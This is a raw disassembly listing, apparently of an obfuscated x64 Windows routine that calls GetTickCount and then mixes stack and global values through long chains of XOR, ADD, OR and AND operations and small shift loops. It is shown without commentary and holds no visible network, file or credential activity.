14000952701 44 24 20ADD dword ptr [RSP + local_98],EAX
14000952bff 15 bf 93 0a 00CALL qword ptr [PTR_GetTickCount_1400b28f0]
14000953101 44 24 20ADD dword ptr [RSP + local_98],EAX
1400095358b 44 24 20MOV EAX,dword ptr [RSP + local_98]
14000953989 44 24 28MOV dword ptr [RSP + local_90],EAX
14000953d8b 44 24 28MOV EAX,dword ptr [RSP + local_90]
14000954189 44 24 70MOV dword ptr [RSP + local_48],EAX
140009545b8 6c d2 77 2fMOV EAX,0x2f77d26c
14000954a33 44 24 70XOR EAX,dword ptr [RSP + local_48]
14000954e89 44 24 40MOV dword ptr [RSP + local_78],EAX
140009552b8 64 0c 6c fdMOV EAX,0xfd6c0c64
14000955733 44 24 70XOR EAX,dword ptr [RSP + local_48]
14000955b89 44 24 2cMOV dword ptr [RSP + local_8c],EAX
14000955f8b 05 a3 fa 0b 00MOV EAX,dword ptr [DAT_1400c9008]
14000956523 44 24 40AND EAX,dword ptr [RSP + local_78]
14000956989 05 99 fa 0b 00MOV dword ptr [DAT_1400c9008],EAX
14000956fc7 44 24 20 00 00 00 00MOV dword ptr [RSP + local_98],0x0
1400095778b 44 24 20MOV EAX,dword ptr [RSP + local_98]
14000957b83 f8 03CMP EAX,0x3
14000957e7f 1cJG LAB_14000959c
LAB_140009580:
1400095808b 44 24 2cMOV EAX,dword ptr [RSP + local_8c]
140009584d1 e8SHR EAX,0x1
14000958635 6e c4 0f 9cXOR EAX,0x9c0fc46e
14000958b89 44 24 2cMOV dword ptr [RSP + local_8c],EAX
14000958fff 44 24 20INC dword ptr [RSP + local_98]
1400095938b 44 24 20MOV EAX,dword ptr [RSP + local_98]
14000959783 f8 04CMP EAX,0x4
14000959a7c e4JL LAB_140009580
LAB_14000959c:
14000959c8b 44 24 40MOV EAX,dword ptr [RSP + local_78]
1400095a00b 05 62 fa 0b 00OR EAX,dword ptr [DAT_1400c9008]
1400095a689 44 24 40MOV dword ptr [RSP + local_78],EAX
1400095aa8b 44 24 2cMOV EAX,dword ptr [RSP + local_8c]
1400095ae0b 05 58 fa 0b 00OR EAX,dword ptr [DAT_1400c900c]
1400095b489 44 24 2cMOV dword ptr [RSP + local_8c],EAX
1400095b88b 05 4e fa 0b 00MOV EAX,dword ptr [DAT_1400c900c]
1400095be2b 44 24 2cSUB EAX,dword ptr [RSP + local_8c]
1400095c289 05 44 fa 0b 00MOV dword ptr [DAT_1400c900c],EAX
1400095c88b 44 24 2cMOV EAX,dword ptr [RSP + local_8c]
1400095cc03 05 3e fa 0b 00ADD EAX,dword ptr [DAT_1400c9010]
1400095d289 44 24 2cMOV dword ptr [RSP + local_8c],EAX
1400095d68b 05 38 fa 0b 00MOV EAX,dword ptr [DAT_1400c9014]
1400095dc0b 44 24 40OR EAX,dword ptr [RSP + local_78]
1400095e089 05 2e fa 0b 00MOV dword ptr [DAT_1400c9014],EAX
1400095e68b 44 24 40MOV EAX,dword ptr [RSP + local_78]
1400095ea03 05 18 fa 0b 00ADD EAX,dword ptr [DAT_1400c9008]
1400095f089 44 24 40MOV dword ptr [RSP + local_78],EAX
1400095f48b 44 24 40MOV EAX,dword ptr [RSP + local_78]
1400095f833 05 1a fa 0b 00XOR EAX,dword ptr [DAT_1400c9018]
1400095fe89 44 24 40MOV dword ptr [RSP + local_78],EAX
1400096028b 44 24 2cMOV EAX,dword ptr [RSP + local_8c]
14000960631 44 24 28XOR dword ptr [RSP + local_90],EAX
14000960a8b 44 24 28MOV EAX,dword ptr [RSP + local_90]
14000960e89 44 24 70MOV dword ptr [RSP + local_48],EAX
140009612b8 3d 61 87 deMOV EAX,0xde87613d
14000961733 44 24 70XOR EAX,dword ptr [RSP + local_48]
14000961b89 44 24 40MOV dword ptr [RSP + local_78],EAX
14000961fb8 06 e9 f5 9eMOV EAX,0x9ef5e906
14000962433 44 24 70XOR EAX,dword ptr [RSP + local_48]
14000962889 44 24 2cMOV dword ptr [RSP + local_8c],EAX
14000962c8b 44 24 2cMOV EAX,dword ptr [RSP + local_8c]
1400096303b 44 24 40CMP EAX,dword ptr [RSP + local_78]
14000963476 0bJBE LAB_140009641
140009636b8 a3 5e 16 3bMOV EAX,0x3b165ea3
14000963b33 44 24 40XOR EAX,dword ptr [RSP + local_78]
14000963feb 09JMP LAB_14000964a
LAB_140009641:
140009641b8 de 03 dc eeMOV EAX,0xeedc03de
14000964623 44 24 2cAND EAX,dword ptr [RSP + local_8c]
LAB_14000964a:
14000964a89 44 24 40MOV dword ptr [RSP + local_78],EAX
14000964e8b 05 c0 f9 0b 00MOV EAX,dword ptr [DAT_1400c9014]
1400096540b 44 24 40OR EAX,dword ptr [RSP + local_78]
14000965889 05 b6 f9 0b 00MOV dword ptr [DAT_1400c9014],EAX
14000965e8b 44 24 40MOV EAX,dword ptr [RSP + local_78]
14000966223 05 a8 f9 0b 00AND EAX,dword ptr [DAT_1400c9010]
14000966889 44 24 40MOV dword ptr [RSP + local_78],EAX
14000966c81 44 24 40 c9 c5 e8 91ADD dword ptr [RSP + local_78],0x91e8c5c9
14000967481 4c 24 40 e8 5b f8 94OR dword ptr [RSP + local_78],0x94f85be8
14000967cf7 44 24 2c 3c 1c f2 61TEST dword ptr [RSP + local_8c],0x61f21c3c
14000968474 10JZ LAB_140009696
14000968681 74 24 2c 62 88 9f 30XOR dword ptr [RSP + local_8c],0x309f8862
14000968e81 44 24 2c 30 bc ac 5dADD dword ptr [RSP + local_8c],0x5dacbc30
LAB_140009696:
1400096968b 44 24 40MOV EAX,dword ptr [RSP + local_78]
14000969a31 44 24 28XOR dword ptr [RSP + local_90],EAX
14000969e8b 44 24 28MOV EAX,dword ptr [RSP + local_90]
1400096a289 44 24 70MOV dword ptr [RSP + local_48],EAX
1400096a6b8 75 fa e3 64MOV EAX,0x64e3fa75
1400096ab33 44 24 70XOR EAX,dword ptr [RSP + local_48]
1400096af89 44 24 40MOV dword ptr [RSP + local_78],EAX
1400096b3b8 30 46 f1 bdMOV EAX,0xbdf14630
1400096b833 44 24 70XOR EAX,dword ptr [RSP + local_48]
1400096bc89 44 24 2cMOV dword ptr [RSP + local_8c],EAX
1400096c081 64 24 40 d2 22 52 74AND dword ptr [RSP + local_78],0x745222d2
1400096c881 44 24 40 bb b5 c4 61ADD dword ptr [RSP + local_78],0x61c4b5bb
1400096d08b 05 42 f9 0b 00MOV EAX,dword ptr [DAT_1400c9018]
1400096d60b 44 24 2cOR EAX,dword ptr [RSP + local_8c]
1400096da89 05 38 f9 0b 00MOV dword ptr [DAT_1400c9018],EAX
1400096e08b 05 22 f9 0b 00MOV EAX,dword ptr [DAT_1400c9008]
1400096e62b 44 24 2cSUB EAX,dword ptr [RSP + local_8c]
1400096ea89 05 18 f9 0b 00MOV dword ptr [DAT_1400c9008],EAX
1400096f08b 44 24 2cMOV EAX,dword ptr [RSP + local_8c]
1400096f403 05 1e f9 0b 00ADD EAX,dword ptr [DAT_1400c9018]
1400096fa89 44 24 2cMOV dword ptr [RSP + local_8c],EAX
1400096fe8b 44 24 40MOV EAX,dword ptr [RSP + local_78]
14000970231 44 24 28XOR dword ptr [RSP + local_90],EAX
1400097068b 44 24 28MOV EAX,dword ptr [RSP + local_90]
14000970a89 44 24 70MOV dword ptr [RSP + local_48],EAX
14000970eb8 92 dc 09 90MOV EAX,0x9009dc92
14000971333 44 24 70XOR EAX,dword ptr [RSP + local_48]
14000971789 44 24 40MOV dword ptr [RSP + local_78],EAX
14000971bb8 4c cb 9c 74MOV EAX,0x749ccb4c
14000972033 44 24 70XOR EAX,dword ptr [RSP + local_48]
14000972489 44 24 2cMOV dword ptr [RSP + local_8c],EAX
140009728b8 cc 60 e5 2cMOV EAX,0x2ce560cc
14000972d33 44 24 70XOR EAX,dword ptr [RSP + local_48]
14000973189 44 24 20MOV dword ptr [RSP + local_98],EAX
1400097358b 05 cd f8 0b 00MOV EAX,dword ptr [DAT_1400c9008]
14000973b23 44 24 2cAND EAX,dword ptr [RSP + local_8c]
14000973f89 05 c3 f8 0b 00MOV dword ptr [DAT_1400c9008],EAX
1400097458b 44 24 40MOV EAX,dword ptr [RSP + local_78]
14000974903 05 c5 f8 0b 00ADD EAX,dword ptr [DAT_1400c9014]
14000974f89 44 24 40MOV dword ptr [RSP + local_78],EAX
140009753c7 44 24 24 00 00 00 00MOV dword ptr [RSP + local_94],0x0
14000975b8b 44 24 24MOV EAX,dword ptr [RSP + local_94]
14000975f83 f8 01CMP EAX,0x1
1400097627f 28JG LAB_14000978c
14000976466 66 66 2e 0f 1f 84 00 …NOP word ptr CS:[RAX + RAX*0x1]
LAB_140009770:
1400097708b 44 24 20MOV EAX,dword ptr [RSP + local_98]
140009774d1 e8SHR EAX,0x1
14000977635 bd 42 58 1fXOR EAX,0x1f5842bd
14000977b89 44 24 20MOV dword ptr [RSP + local_98],EAX
14000977fff 44 24 24INC dword ptr [RSP + local_94]
1400097838b 44 24 24MOV EAX,dword ptr [RSP + local_94]
14000978783 f8 02CMP EAX,0x2
14000978a7c e4JL LAB_140009770
LAB_14000978c:
14000978c81 44 24 40 1f 1f 3f 44ADD dword ptr [RSP + local_78],0x443f1f1f
14000979481 44 24 40 64 32 00 ebADD dword ptr [RSP + local_78],0xeb003264
14000979c8b 44 24 2cMOV EAX,dword ptr [RSP + local_8c]
1400097a031 44 24 28XOR dword ptr [RSP + local_90],EAX
1400097a48b 44 24 28MOV EAX,dword ptr [RSP + local_90]
1400097a889 44 24 70MOV dword ptr [RSP + local_48],EAX
1400097acb8 92 0e b4 18MOV EAX,0x18b40e92
1400097b133 44 24 70XOR EAX,dword ptr [RSP + local_48]
1400097b589 44 24 40MOV dword ptr [RSP + local_78],EAX
1400097b9b8 52 ac b3 49MOV EAX,0x49b3ac52
1400097be33 44 24 70XOR EAX,dword ptr [RSP + local_48]
1400097c289 44 24 2cMOV dword ptr [RSP + local_8c],EAX
1400097c6b8 8f f1 26 4dMOV EAX,0x4d26f18f
1400097cb33 44 24 70XOR EAX,dword ptr [RSP + local_48]
1400097cf89 44 24 20MOV dword ptr [RSP + local_98],EAX
1400097d38b 44 24 40MOV EAX,dword ptr [RSP + local_78]
1400097d70b 05 37 f8 0b 00OR EAX,dword ptr [DAT_1400c9014]
1400097dd89 44 24 40MOV dword ptr [RSP + local_78],EAX
1400097e1c7 44 24 24 00 00 00 00MOV dword ptr [RSP + local_94],0x0
1400097e98b 44 24 24MOV EAX,dword ptr [RSP + local_94]
1400097ed83 f8 05CMP EAX,0x5
1400097f07f 2aJG LAB_14000981c
1400097f266 66 66 66 66 2e 0f 1f …NOP word ptr CS:[RAX + RAX*0x1]
LAB_140009800:
1400098008b 44 24 40MOV EAX,dword ptr [RSP + local_78]
140009804d1 e8SHR EAX,0x1
14000980635 5f ce a7 f1XOR EAX,0xf1a7ce5f
14000980b89 44 24 40MOV dword ptr [RSP + local_78],EAX
14000980fff 44 24 24INC dword ptr [RSP + local_94]
1400098138b 44 24 24MOV EAX,dword ptr [RSP + local_94]
14000981783 f8 06CMP EAX,0x6
14000981a7c e4JL LAB_140009800
LAB_14000981c:
14000981c81 44 24 2c bb c0 e7 efADD dword ptr [RSP + local_8c],0xefe7c0bb
14000982481 74 24 2c 41 f0 47 5eXOR dword ptr [RSP + local_8c],0x5e47f041
14000982c81 44 24 2c e8 ca 01 7aADD dword ptr [RSP + local_8c],0x7a01cae8
14000983481 74 24 2c cf 89 3d 59XOR dword ptr [RSP + local_8c],0x593d89cf
14000983cc7 44 24 24 00 00 00 00MOV dword ptr [RSP + local_94],0x0
1400098448b 44 24 24MOV EAX,dword ptr [RSP + local_94]
14000984883 f8 03CMP EAX,0x3
14000984b7f 1fJG LAB_14000986c
14000984d0f 1f 00NOP dword ptr [RAX]
LAB_140009850:
1400098508b 44 24 40MOV EAX,dword ptr [RSP + local_78]
140009854d1 e8SHR EAX,0x1
14000985635 92 f0 a4 edXOR EAX,0xeda4f092
14000985b89 44 24 40MOV dword ptr [RSP + local_78],EAX
14000985fff 44 24 24INC dword ptr [RSP + local_94]
1400098638b 44 24 24MOV EAX,dword ptr [RSP + local_94]
14000986783 f8 04CMP EAX,0x4
14000986a7c e4JL LAB_140009850
LAB_14000986c:
14000986c8b 44 24 2cMOV EAX,dword ptr [RSP + local_8c]
14000987033 05 92 f7 0b 00XOR EAX,dword ptr [DAT_1400c9008]
14000987689 44 24 2cMOV dword ptr [RSP + local_8c],EAX
14000987a8b 05 90 f7 0b 00MOV EAX,dword ptr [DAT_1400c9010]
1400098802b 44 24 20SUB EAX,dword ptr [RSP + local_98]
14000988489 05 86 f7 0b 00MOV dword ptr [DAT_1400c9010],EAX
14000988af7 44 24 40 ab d4 7e 68TEST dword ptr [RSP + local_78],0x687ed4ab
14000989274 10JZ LAB_1400098a4
14000989481 44 24 2c 3d 7c ea 8cADD dword ptr [RSP + local_8c],0x8cea7c3d
14000989c81 74 24 2c 7e 3f e9 c2XOR dword ptr [RSP + local_8c],0xc2e93f7e
LAB_1400098a4:
1400098a48b 44 24 20MOV EAX,dword ptr [RSP + local_98]
1400098a831 44 24 28XOR dword ptr [RSP + local_90],EAX
1400098ac8b 44 24 28MOV EAX,dword ptr [RSP + local_90]
1400098b089 44 24 70MOV dword ptr [RSP + local_48],EAX
1400098b4b8 e2 0a ad 8eMOV EAX,0x8ead0ae2
1400098b933 44 24 70XOR EAX,dword ptr [RSP + local_48]
1400098bd89 44 24 40MOV dword ptr [RSP + local_78],EAX
1400098c1b8 fe a1 db 58MOV EAX,0x58dba1fe
1400098c633 44 24 70XOR EAX,dword ptr [RSP + local_48]
1400098ca89 44 24 2cMOV dword ptr [RSP + local_8c],EAX
1400098ceb8 b9 27 48 57MOV EAX,0x574827b9
1400098d333 44 24 70XOR EAX,dword ptr [RSP + local_48]
1400098d789 44 24 20MOV dword ptr [RSP + local_98],EAX
1400098dbb8 35 c3 c8 41MOV EAX,0x41c8c335
1400098e033 44 24 70XOR EAX,dword ptr [RSP + local_48]
1400098e489 44 24 24MOV dword ptr [RSP + local_94],EAX
1400098e881 64 24 2c 9f 96 81 77AND dword ptr [RSP + local_8c],0x7781969f
1400098f081 44 24 2c d2 84 e3 a4ADD dword ptr [RSP + local_8c],0xa4e384d2
1400098f8f7 44 24 40 02 80 d3 31TEST dword ptr [RSP + local_78],0x31d38002
14000990074 10JZ LAB_140009912
14000990281 74 24 40 c6 a5 1c a6XOR dword ptr [RSP + local_78],0xa61ca5c6
14000990a81 64 24 40 a6 56 ee 1bAND dword ptr [RSP + local_78],0x1bee56a6
LAB_140009912:
140009912f7 44 24 40 3a 10 7e 75TEST dword ptr [RSP + local_78],0x757e103a
14000991a74 10JZ LAB_14000992c
14000991c81 44 24 24 10 9b 04 f6ADD dword ptr [RSP + local_94],0xf6049b10
14000992481 44 24 24 27 17 76 77ADD dword ptr [RSP + local_94],0x77761727
LAB_14000992c:
14000992c8b 05 ea f6 0b 00MOV EAX,dword ptr [DAT_1400c901c]
14000993233 44 24 2cXOR EAX,dword ptr [RSP + local_8c]
14000993689 05 e0 f6 0b 00MOV dword ptr [DAT_1400c901c],EAX
14000993cf7 44 24 2c ed a0 a1 feTEST dword ptr [RSP + local_8c],0xfea1a0ed
14000994474 10JZ LAB_140009956
14000994681 4c 24 2c 67 ea 54 52OR dword ptr [RSP + local_8c],0x5254ea67
14000994e81 44 24 2c d1 90 ec 47ADD dword ptr [RSP + local_8c],0x47ec90d1
LAB_140009956:
1400099568b 05 bc f6 0b 00MOV EAX,dword ptr [DAT_1400c9018]
14000995c33 44 24 40XOR EAX,dword ptr [RSP + local_78]
14000996089 05 b2 f6 0b 00MOV dword ptr [DAT_1400c9018],EAX
1400099668b 05 b0 f6 0b 00MOV EAX,dword ptr [DAT_1400c901c]
14000996c0b 44 24 40OR EAX,dword ptr [RSP + local_78]
14000997089 05 a6 f6 0b 00MOV dword ptr [DAT_1400c901c],EAX
1400099768b 44 24 20MOV EAX,dword ptr [RSP + local_98]
14000997a3b 44 24 24CMP EAX,dword ptr [RSP + local_94]
14000997e76 0bJBE LAB_14000998b
140009980b8 12 d4 a6 c1MOV EAX,0xc1a6d412
14000998533 44 24 24XOR EAX,dword ptr [RSP + local_94]
140009989eb 09JMP LAB_140009994
LAB_14000998b:
14000998bb8 95 17 fd a7MOV EAX,0xa7fd1795
14000999023 44 24 20AND EAX,dword ptr [RSP + local_98]
LAB_140009994:
14000999489 44 24 24MOV dword ptr [RSP + local_94],EAX
1400099988b 05 7e f6 0b 00MOV EAX,dword ptr [DAT_1400c901c]
14000999e03 44 24 20ADD EAX,dword ptr [RSP + local_98]
1400099a289 05 74 f6 0b 00MOV dword ptr [DAT_1400c901c],EAX
1400099a88b 44 24 20MOV EAX,dword ptr [RSP + local_98]
1400099ac2b 05 66 f6 0b 00SUB EAX,dword ptr [DAT_1400c9018]
1400099b289 44 24 20MOV dword ptr [RSP + local_98],EAX
1400099b68b 44 24 20MOV EAX,dword ptr [RSP + local_98]
1400099ba31 44 24 28XOR dword ptr [RSP + local_90],EAX
1400099be8b 44 24 28MOV EAX,dword ptr [RSP + local_90]
1400099c289 44 24 70MOV dword ptr [RSP + local_48],EAX
1400099c6b8 1b 18 ff 9cMOV EAX,0x9cff181b
1400099cb33 44 24 70XOR EAX,dword ptr [RSP + local_48]
1400099cf89 44 24 40MOV dword ptr [RSP + local_78],EAX
1400099d3b8 c6 22 fd 40MOV EAX,0x40fd22c6
1400099d833 44 24 70XOR EAX,dword ptr [RSP + local_48]
1400099dc89 44 24 2cMOV dword ptr [RSP + local_8c],EAX
1400099e08b 05 36 f6 0b 00MOV EAX,dword ptr [DAT_1400c901c]
1400099e633 44 24 2cXOR EAX,dword ptr [RSP + local_8c]
1400099ea89 05 2c f6 0b 00MOV dword ptr [DAT_1400c901c],EAX
1400099f08b 44 24 2cMOV EAX,dword ptr [RSP + local_8c]
1400099f403 05 1e f6 0b 00ADD EAX,dword ptr [DAT_1400c9018]
1400099fa89 44 24 2cMOV dword ptr [RSP + local_8c],EAX
1400099fe81 44 24 40 3f d0 48 e5ADD dword ptr [RSP + local_78],0xe548d03f
140009a0681 44 24 40 84 ce 81 2bADD dword ptr [RSP + local_78],0x2b81ce84
140009a0e8b 44 24 2cMOV EAX,dword ptr [RSP + local_8c]
140009a120b 05 f0 f5 0b 00OR EAX,dword ptr [DAT_1400c9008]
140009a1889 44 24 2cMOV dword ptr [RSP + local_8c],EAX
140009a1cf7 44 24 40 ea da cf bdTEST dword ptr [RSP + local_78],0xbdcfdaea
140009a2474 10JZ LAB_140009a36
140009a2681 44 24 2c 36 3f e1 dcADD dword ptr [RSP + local_8c],0xdce13f36
140009a2e81 64 24 2c cd 98 d5 63AND dword ptr [RSP + local_8c],0x63d598cd
LAB_140009a36:
140009a368b 44 24 2cMOV EAX,dword ptr [RSP + local_8c]
140009a3a33 05 c8 f5 0b 00XOR EAX,dword ptr [DAT_1400c9008]
140009a4089 44 24 2cMOV dword ptr [RSP + local_8c],EAX
140009a448b 44 24 40MOV EAX,dword ptr [RSP + local_78]
140009a483b 44 24 2cCMP EAX,dword ptr [RSP + local_8c]
140009a4c76 0bJBE LAB_140009a59
140009a4eb8 dc c2 9f 29MOV EAX,0x299fc2dc
140009a5333 44 24 2cXOR EAX,dword ptr [RSP + local_8c]
140009a57eb 09JMP LAB_140009a62
LAB_140009a59:
140009a59b8 a2 66 45 8dMOV EAX,0x8d4566a2
140009a5e23 44 24 40AND EAX,dword ptr [RSP + local_78]
LAB_140009a62:
140009a6289 44 24 2cMOV dword ptr [RSP + local_8c],EAX
140009a66c7 44 24 20 00 00 00 00MOV dword ptr [RSP + local_98],0x0
140009a6e8b 44 24 20MOV EAX,dword ptr [RSP + local_98]
140009a7283 f8 01CMP EAX,0x1
140009a757f 25JG LAB_140009a9c
140009a7766 0f 1f 84 00 00 00 00 …NOP word ptr [RAX + RAX*0x1]
LAB_140009a80:
140009a808b 44 24 40MOV EAX,dword ptr [RSP + local_78]
140009a84d1 e8SHR EAX,0x1
140009a8635 98 15 b9 e2XOR EAX,0xe2b91598
140009a8b89 44 24 40MOV dword ptr [RSP + local_78],EAX
140009a8fff 44 24 20INC dword ptr [RSP + local_98]
140009a938b 44 24 20MOV EAX,dword ptr [RSP + local_98]
140009a9783 f8 02CMP EAX,0x2
140009a9a7c e4JL LAB_140009a80
LAB_140009a9c:
140009a9c8b 44 24 2cMOV EAX,dword ptr [RSP + local_8c]
140009aa031 44 24 28XOR dword ptr [RSP + local_90],EAX
140009aa48b 44 24 28MOV EAX,dword ptr [RSP + local_90]
140009aa889 44 24 70MOV dword ptr [RSP + local_48],EAX
140009aacb8 90 96 12 53MOV EAX,0x53129690
140009ab133 44 24 70XOR EAX,dword ptr [RSP + local_48]
140009ab589 44 24 40MOV dword ptr [RSP + local_78],EAX
140009ab9b8 22 1c 5d 92MOV EAX,0x925d1c22
140009abe33 44 24 70XOR EAX,dword ptr [RSP + local_48]
140009ac289 44 24 2cMOV dword ptr [RSP + local_8c],EAX
140009ac6b8 60 9e 02 36MOV EAX,0x36029e60
140009acb33 44 24 70XOR EAX,dword ptr [RSP + local_48]
140009acf89 44 24 20MOV dword ptr [RSP + local_98],EAX
140009ad3b8 2d 51 f4 6cMOV EAX,0x6cf4512d
140009ad833 44 24 70XOR EAX,dword ptr [RSP + local_48]
140009adc89 44 24 24MOV dword ptr [RSP + local_94],EAX
140009ae0c7 44 24 3c 00 00 00 00MOV dword ptr [RSP + local_7c],0x0
140009ae88b 44 24 3cMOV EAX,dword ptr [RSP + local_7c]
140009aec83 f8 02CMP EAX,0x2
140009aef7f 2bJG LAB_140009b1c
140009af166 66 66 66 66 66 2e 0f …NOP dword ptr CS:[RAX + RAX*0x1]
LAB_140009b00:
140009b008b 44 24 40MOV EAX,dword ptr [RSP + local_78]
140009b04d1 e8SHR EAX,0x1
140009b0635 85 89 7e 2cXOR EAX,0x2c7e8985
140009b0b89 44 24 40MOV dword ptr [RSP + local_78],EAX
140009b0fff 44 24 3cINC dword ptr [RSP + local_7c]
140009b138b 44 24 3cMOV EAX,dword ptr [RSP + local_7c]
140009b1783 f8 03CMP EAX,0x3
140009b1a7c e4JL LAB_140009b00
LAB_140009b1c:
140009b1c8b 05 e6 f4 0b 00MOV EAX,dword ptr [DAT_1400c9008]
140009b2233 44 24 40XOR EAX,dword ptr [RSP + local_78]
140009b2689 05 dc f4 0b 00MOV dword ptr [DAT_1400c9008],EAX
140009b2c8b 44 24 24MOV EAX,dword ptr [RSP + local_94]
140009b3033 05 e6 f4 0b 00XOR EAX,dword ptr [DAT_1400c901c]
140009b3689 44 24 24MOV dword ptr [RSP + local_94],EAX
140009b3a8b 44 24 24MOV EAX,dword ptr [RSP + local_94]
140009b3e2b 05 c4 f4 0b 00SUB EAX,dword ptr [DAT_1400c9008]
140009b4489 44 24 24MOV dword ptr [RSP + local_94],EAX
140009b48c7 44 24 3c 00 00 00 00MOV dword ptr [RSP + local_7c],0x0
140009b508b 44 24 3cMOV EAX,dword ptr [RSP + local_7c]
140009b5483 f8 02CMP EAX,0x2
140009b577f 23JG LAB_140009b7c
140009b590f 1f 80 00 00 00 00NOP dword ptr [RAX]
LAB_140009b60:
140009b608b 44 24 2cMOV EAX,dword ptr [RSP + local_8c]
140009b64d1 e8SHR EAX,0x1
140009b6635 15 db 0b 20XOR EAX,0x200bdb15
140009b6b89 44 24 2cMOV dword ptr [RSP + local_8c],EAX
140009b6fff 44 24 3cINC dword ptr [RSP + local_7c]
140009b738b 44 24 3cMOV EAX,dword ptr [RSP + local_7c]
140009b7783 f8 03CMP EAX,0x3
140009b7a7c e4JL LAB_140009b60
LAB_140009b7c:
140009b7c8b 44 24 20MOV EAX,dword ptr [RSP + local_98]
140009b8031 44 24 28XOR dword ptr [RSP + local_90],EAX
140009b848b 44 24 28MOV EAX,dword ptr [RSP + local_90]
140009b8889 44 24 70MOV dword ptr [RSP + local_48],EAX
140009b8cb8 46 e0 c2 9cMOV EAX,0x9cc2e046
140009b9133 44 24 70XOR EAX,dword ptr [RSP + local_48]
140009b9589 44 24 40MOV dword ptr [RSP + local_78],EAX
140009b99b8 f9 73 ba 2cMOV EAX,0x2cba73f9
140009b9e33 44 24 70XOR EAX,dword ptr [RSP + local_48]
140009ba289 44 24 2cMOV dword ptr [RSP + local_8c],EAX
140009ba6f7 44 24 40 e0 ff 83 8bTEST dword ptr [RSP + local_78],0x8b83ffe0
140009bae74 10JZ LAB_140009bc0
140009bb081 74 24 2c 8d e8 2d dcXOR dword ptr [RSP + local_8c],0xdc2de88d
140009bb881 44 24 2c e6 95 b8 37ADD dword ptr [RSP + local_8c],0x37b895e6
LAB_140009bc0:
140009bc0f7 44 24 40 16 5e 47 79TEST dword ptr [RSP + local_78],0x79475e16
140009bc874 10JZ LAB_140009bda
140009bca81 44 24 2c e5 0f 35 30ADD dword ptr [RSP + local_8c],0x30350fe5
140009bd281 4c 24 2c e9 f5 fe a1OR dword ptr [RSP + local_8c],0xa1fef5e9
LAB_140009bda:
140009bdaf7 44 24 2c 60 cd 0f 46TEST dword ptr [RSP + local_8c],0x460fcd60
140009be274 10JZ LAB_140009bf4
140009be481 44 24 40 8a fd 80 d6ADD dword ptr [RSP + local_78],0xd680fd8a
140009bec81 4c 24 40 fd ca 69 34OR dword ptr [RSP + local_78],0x3469cafd
LAB_140009bf4:
140009bf48b 44 24 40MOV EAX,dword ptr [RSP + local_78]
140009bf80b 05 0a f4 0b 00OR EAX,dword ptr [DAT_1400c9008]
140009bfe89 44 24 40MOV dword ptr [RSP + local_78],EAX
140009c028b 05 10 f4 0b 00MOV EAX,dword ptr [DAT_1400c9018]
140009c0803 44 24 2cADD EAX,dword ptr [RSP + local_8c]
140009c0c89 05 06 f4 0b 00MOV dword ptr [DAT_1400c9018],EAX
140009c12c7 44 24 20 00 00 00 00MOV dword ptr [RSP + local_98],0x0
140009c1a8b 44 24 20MOV EAX,dword ptr [RSP + local_98]
140009c1e83 f8 01CMP EAX,0x1
140009c217f 29JG LAB_140009c4c
140009c2366 66 66 66 2e 0f 1f 84 …NOP dword ptr CS:[RAX + RAX*0x1]
LAB_140009c30:
140009c308b 44 24 2cMOV EAX,dword ptr [RSP + local_8c]
140009c34d1 e8SHR EAX,0x1
140009c3635 4e 29 2b 42XOR EAX,0x422b294e
140009c3b89 44 24 2cMOV dword ptr [RSP + local_8c],EAX
140009c3fff 44 24 20INC dword ptr [RSP + local_98]
140009c438b 44 24 20MOV EAX,dword ptr [RSP + local_98]
140009c4783 f8 02CMP EAX,0x2
140009c4a7c e4JL LAB_140009c30
LAB_140009c4c:
140009c4cc7 44 24 20 00 00 00 00MOV dword ptr [RSP + local_98],0x0
140009c548b 44 24 20MOV EAX,dword ptr [RSP + local_98]
140009c5883 f8 05CMP EAX,0x5
140009c5b7f 1fJG LAB_140009c7c
140009c5d0f 1f 00NOP dword ptr [RAX]
LAB_140009c60:
140009c608b 44 24 40MOV EAX,dword ptr [RSP + local_78]
140009c64d1 e8SHR EAX,0x1
140009c6635 03 fa 38 9eXOR EAX,0x9e38fa03
140009c6b89 44 24 40MOV dword ptr [RSP + local_78],EAX
140009c6fff 44 24 20INC dword ptr [RSP + local_98]
140009c738b 44 24 20MOV EAX,dword ptr [RSP + local_98]
140009c7783 f8 06CMP EAX,0x6
140009c7a7c e4JL LAB_140009c60
LAB_140009c7c:
140009c7c8b 44 24 40MOV EAX,dword ptr [RSP + local_78]
140009c8031 44 24 28XOR dword ptr [RSP + local_90],EAX
140009c848b 44 24 28MOV EAX,dword ptr [RSP + local_90]
140009c8889 44 24 70MOV dword ptr [RSP + local_48],EAX
140009c8cb8 9f 20 e9 1bMOV EAX,0x1be9209f
140009c9133 44 24 70XOR EAX,dword ptr [RSP + local_48]
140009c9589 44 24 40MOV dword ptr [RSP + local_78],EAX
140009c99b8 6a b0 85 10MOV EAX,0x1085b06a
140009c9e33 44 24 70XOR EAX,dword ptr [RSP + local_48]
140009ca289 44 24 2cMOV dword ptr [RSP + local_8c],EAX
140009ca6b8 8b d2 ee 53MOV EAX,0x53eed28b
140009cab33 44 24 70XOR EAX,dword ptr [RSP + local_48]
140009caf89 44 24 20MOV dword ptr [RSP + local_98],EAX
140009cb3f7 44 24 40 5f b5 5c 30TEST dword ptr [RSP + local_78],0x305cb55f
140009cbb74 10JZ LAB_140009ccd
140009cbd81 74 24 40 39 f8 16 62XOR dword ptr [RSP + local_78],0x6216f839
140009cc581 44 24 40 e4 b0 de a2ADD dword ptr [RSP + local_78],0xa2deb0e4
LAB_140009ccd:
140009ccd81 4c 24 2c b1 f3 63 82OR dword ptr [RSP + local_8c],0x8263f3b1
140009cd581 64 24 2c 97 72 08 09AND dword ptr [RSP + local_8c],0x9087297
140009cdd8b 44 24 40MOV EAX,dword ptr [RSP + local_78]
140009ce13b 44 24 2cCMP EAX,dword ptr [RSP + local_8c]
140009ce576 0bJBE LAB_140009cf2
140009ce7b8 72 de 99 b3MOV EAX,0xb399de72
140009cec33 44 24 2cXOR EAX,dword ptr [RSP + local_8c]
140009cf0eb 09JMP LAB_140009cfb
LAB_140009cf2:
140009cf2b8 9c da 10 4cMOV EAX,0x4c10da9c
140009cf723 44 24 40AND EAX,dword ptr [RSP + local_78]
LAB_140009cfb:
140009cfb89 44 24 2cMOV dword ptr [RSP + local_8c],EAX
140009cff8b 05 07 f3 0b 00MOV EAX,dword ptr [DAT_1400c900c]
140009d0503 44 24 20ADD EAX,dword ptr [RSP + local_98]
140009d0989 05 fd f2 0b 00MOV dword ptr [DAT_1400c900c],EAX
140009d0fc7 44 24 24 00 00 00 00MOV dword ptr [RSP + local_94],0x0
140009d178b 44 24 24MOV EAX,dword ptr [RSP + local_94]
